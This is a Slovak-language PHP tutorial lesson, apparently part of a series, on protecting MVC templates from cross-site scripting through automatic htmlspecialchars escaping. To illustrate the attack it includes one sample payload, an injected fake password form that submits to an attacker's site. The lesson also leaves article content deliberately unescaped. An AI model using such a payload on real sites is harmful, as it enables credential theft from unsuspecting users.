IT rekvalifikácia. Seniorní programátori zarábajú až 6 000 €/mesiac a rekvalifikácia je prvým krokom. Zisti, ako na to!

9. diel - Zabezpečenia šablón

V minulej lekcii, Výpis článkov z databázy v PHP (MVC) , sme si vypísali článok z databázy. Aby sme mohli ísť ďalej a doprogramovať do RS funkčnosti ako sú editor článkov alebo prihlasovanie užívateľov, budeme musieť vopred doladiť niekoľko vecí. Ide najmä o zabezpečení šablón, o tom bude dnešné diel.

Útok XSS

Skúsme si v databáze editovať článok "uvod" a do stĺpca titulok vložme túto hodnotu:

<em> je můj oblíbený tag

Systém zobrazí článok nasledujúcim spôsobom:

<em> je můj oblíbený tag
localhost/cla­nek/uvod

v nadpise nie je a namiesto toho je kurzívou. HTML tag sa vložil do stránky a prehliadač ho vykonal. V tomto prípade je to len chyba na kráse.

Predstavte si však, čo sa stane, keď sa nejaký používateľ webu pomenuje takto:

<form action="zlodejhesel.cz">Zadejte heslo znovu: <input type="password" name="heslo"><input type="submit" /></form>

Pri výpisu jeho mena systém zobrazí formulár, kam môže nič netušiaci užívateľ zadať svoje heslo, pretože si myslí, že ho po ňom chce náš web. Heslo samozrejme príde útočníkovi na jeho web a on ho môže zneužiť. Ďalšou obľúbenou taktikou je vkladanie JavaScriptu, ktorý sa snaží napr. Kradnúť cookies.

Tomuto útoku sa hovorí XSS alebo tzv. Cross-site scripting

Obrana

Riešenie problému by nám malo byť známe. Premenné, v ktorých môže byť hodnota zadaná užívateľom, pred výpisom preženie funkcií htmlspecialchars (). Tá z HTML tagov urobí nevinné entity, ktoré sa potom prehliadačom nespustí. Takto by sme mali ošetrovať všetky premenné pred výpisom. Rovnako ako tomu bolo u databázy, u väčšieho programu jednoducho neustrážime, čo sa v ktorej premenné môže nachádzať, preto budeme zabezpečovať všetky. Ešte raz pripomeniem, že premenné ošetrujeme tesne pred výpisom a v žiadnom prípade neukladáme entity do databázy, v databáze je vždy pôvodný text, teda presne to, čo zadal užívateľ. Upravujeme až pre výstup. Do databázy patrí vždy čo najviac surové dáta, ktorá formátuje až aplikácie.

Prvé riešenie, ktoré by nás napadlo, je vloženie funkcia htmlspecialchars () do všetkých pohľadov okolo všetkých premenných. Môžeme si to skúsiť pre pohľad clanek:

<header>
    <h1><?= htmlspecialchars($titulek) ?></h1>
</header>
<section>
    <?= htmlspecialchars($obsah) ?>
</section>

Skúste si, že sa škodlivý kód už nevykoná, namiesto toho sa vypíše presne to, čo je v premennej.

<em> je můj oblíbený tag
localhost/cla­nek/uvod

Čo to ale vidíme? Teraz je spracovanie HTML tagov vypnuté všade, ale aj v článku, kde nefunguje odkaz na konci. Keďže obsah článku je asi jediné miesto, kde chceme vložené HTML tagy spracovávať, v šablóne ponecháme premennú $ obsah neošetrenou.

Automatizácia

Spýtajme sa sami seba, koľko percent premenných bude potrebné v šablónach ošetrovať. Veľmi pravdepodobne dôjdeme k číslu väčšiemu ako 90%. Bolo by teda veľmi vhodné tento krok zautomatizovať a nutnosť vloženie neošetrené premenné brať ako výnimku. Keďže v našom MVC frameworku budeme pracovať takmer vždy s asociatívnymi poli, vytvoríme si v abstraktnom kontroleru funkciu, ktorá toto pole rekurzívne zentituje. Inými slovami zavolá funkciu htmlspecialchars () na všetky stringy v poli $ dáta a ak sa v poli $ dáta vložené nejaké ďalšie polia, urobí to isté s ním a tak ďalej. Otvoríme si ešte raz Kontroler.php a do triedy Kontroler pridáme metódu ošetrite ():

private function osetri($x = null)
{
    if (!isset($x))
        return null;
    elseif (is_string($x))
        return htmlspecialchars($x, ENT_QUOTES);
    elseif (is_array($x))
    {
        foreach($x as $k => $v)
        {
            $x[$k] = $this->osetri($v);
        }
        return $x;
    }
    else
        return $x;
}

Pre neinicializované premennú vrátime null, pre reťazec vrátime jeho zentitovanou hodnotu, pre pole ošetríme rekurzívne všetky jeho prvky, ďalšie dátové typy vrátime ako sú. Samotné volanie htmlspecialchars () má ešte parameter quotes, aby ošetroval aj jednoduché úvodzovky. Je to tak bezpečnejšie.

V metóde vypisPohled () teraz upravíme parametre funkcie extract tak, aby jej bolo odovzdané ošetrené pole $ dáta:

extract($this->osetri($this->data));

Máme hotovo, všetky vybalené premenné v šablóne budú už zentitované. Zostáva nejako vyriešiť tých pár prípadov, kedy je zentitované nechceme (napr. Onen obsah článku). Funkcia extract () nám umožňuje dať premenným určitý prefix (niečo pred ich názov), vybalíme si teda premenné ešte raz, tentokrát neošetrené as nejakým prefixom. Každá premenná bude v šablóne teda 2x, raz pod svojím menom a raz neošetrená s prefixom. Extract medzi prefix a názov premennej vloží vždy podtržítko "_". Pokiaľ zadáme prefix prázdny, vybalí sa premenné predsadené podčiarknikom, čo je pre naše účely celkom pekné. Pridajme si teda do metódy vypisPohled () ešte jedno vybalení (za prvý extract ()):

extract($this->data, EXTR_PREFIX_ALL, "");

Ešte upravíme šablónu článku, tá bude teraz vyzerať minimalisticky a to je presne to, čo sa po šablóne chce:

<header>
    <h1><?= $titulek ?></h1>
</header>
<section>
    <?= $_obsah ?>
</section>

Všetko je ošetrené proti XSS, čistý obsah sa vkladá iba u článku, kde sme použili premennú $ _obsah s podtržítkovým prefixom, teda neošetrenou.

Vytvorili sme si teda extrémne jednoduchý šablónovacích systém. Ukazovatele sa vkladajú do šablóny jednoducho pomocou direktívy <? = $ Premenna?>. Vkladá sa ošetrená verzia premenné. V prípadoch, keď potrebujeme neošetrenú, použijeme podtržítkový prefix <? = $ _Promenna?>. Náš systém je teraz zabezpečený proti útoku XSS. V budúcej lekcii, Mechanizmus správ , si naprogramujeme sľúbený mechanizmus správ. Dnešný projekt je ako vždy priložený nižšie k stiahnutiu.


 

Mal si s čímkoľvek problém? Stiahni si vzorovú aplikáciu nižšie a porovnaj ju so svojím projektom, chybu tak ľahko nájdeš.

Stiahnuť

Stiahnutím nasledujúceho súboru súhlasíš s licenčnými podmienkami

Stiahnuté 1981x (15.33 kB)
Aplikácia je vrátane zdrojových kódov v jazyku PHP

 

Predchádzajúci článok
Výpis článkov z databázy v PHP (MVC)
Všetky články v sekcii
Jednoduchý redakčný systém v PHP objektovo (MVC)
Preskočiť článok
(neodporúčame)
Mechanizmus správ
Článok pre vás napísal David Hartinger
Avatar
Užívateľské hodnotenie:
Ešte nikto nehodnotil, buď prvý!
David je zakladatelem ITnetwork a programování se profesionálně věnuje 15 let. Má rád Nirvanu, nemovitosti a svobodu podnikání.
Unicorn university David sa informačné technológie naučil na Unicorn University - prestížnej súkromnej vysokej škole IT a ekonómie.
Aktivity